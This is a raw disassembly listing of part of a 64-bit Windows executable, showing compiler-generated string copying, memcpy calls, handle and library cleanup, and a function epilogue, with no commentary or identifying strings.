cmp qword [rbp + 0x188], 0x10
cmovae r14, qword [rbp + 0x170]
mov rsi, qword [rbp + 0x180]
cmp rsi, rbx
ja 0x140005ff7
mov qword [rsp + 0x58], 0xf
cmp rsi, 0x10
jae 0x140005b84
mov qword [rsp + 0x50], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140005c1d
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140005bbf
mov rdi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009990
mov rcx, rax
test rax, rax
je 0x140005be8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005bfd
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140005bef
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005fd9
jmp 0x140005ba1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005bfb
call fcn.140009990
jmp 0x140005bfd
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rdi
mov qword [rbp + 0x1a8], rdi
mov r8d, 3
lea rdx, [0x14000c984]
lea rcx, [rbp + 0x190]
call fcn.140008900
nop
lea r8, [rsp + 0x40]
lea rdx, [0x140011bb8]
lea rcx, [rbp + 0x190]
call fcn.140003b50
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae r14, qword [rbp + 0x170]
mov rsi, qword [rbp + 0x180]
cmp rsi, rbx
ja 0x140005ffd
mov qword [rsp + 0x58], 0xf
cmp rsi, 0x10
jae 0x140005ccc
mov qword [rsp + 0x50], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140005d65
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140005d07
mov rdi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009990
mov rcx, rax
test rax, rax
je 0x140005d30
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005d45
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140005d37
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005fdf
jmp 0x140005ce9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005d43
call fcn.140009990
jmp 0x140005d45
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rdi
mov qword [rbp + 0x1a8], rdi
mov r8d, 3
lea rdx, [0x14000c988]
lea rcx, [rbp + 0x190]
call fcn.140008900
nop
lea r8, [rsp + 0x40]
lea rdx, [0x140011bb8]
lea rcx, [rbp + 0x190]
call fcn.140003b50
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rsi, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rsi, qword [rbp + 0x170]
mov rdi, qword [rbp + 0x180]
cmp rdi, rbx
ja 0x140005fc7
mov qword [rsp + 0x58], 0xf
cmp rdi, 0x10
jae 0x140005e13
mov qword [rsp + 0x50], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140005eab
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140005e4b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009990
mov rcx, rax
test rax, rax
je 0x140005e77
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005e8c
mov rbx, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005e7e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005fe5
jmp 0x140005e2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005e8a
call fcn.140009990
jmp 0x140005e8c
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xor eax, eax
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rax
lea r8d, [rax + 3]
lea rdx, [0x14000c98c]
lea rcx, [rbp + 0x190]
call fcn.140008900
nop
lea r8, [rsp + 0x40]
lea rdx, [0x140011bb8]
lea rcx, [rbp + 0x190]
call fcn.140003b50
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140011b78]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
cmp r13, 0x10
jb 0x140005f47
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140005f3e
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f3e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140009cec
nop
lea rcx, [rbp + 0x60]
call fcn.140006010
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x140005f95
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009cec
xor eax, eax
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.140009970
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400014a0
nop
call fcn.140001400
int3
call fcn.140001400
int3
call fcn.140001400
int3
call fcn.140001400
int3
call fcn.140001400
int3
call fcn.1400014a0
int3
call fcn.1400014a0
int3
call fcn.1400014a0
int3
call fcn.1400014a0
int3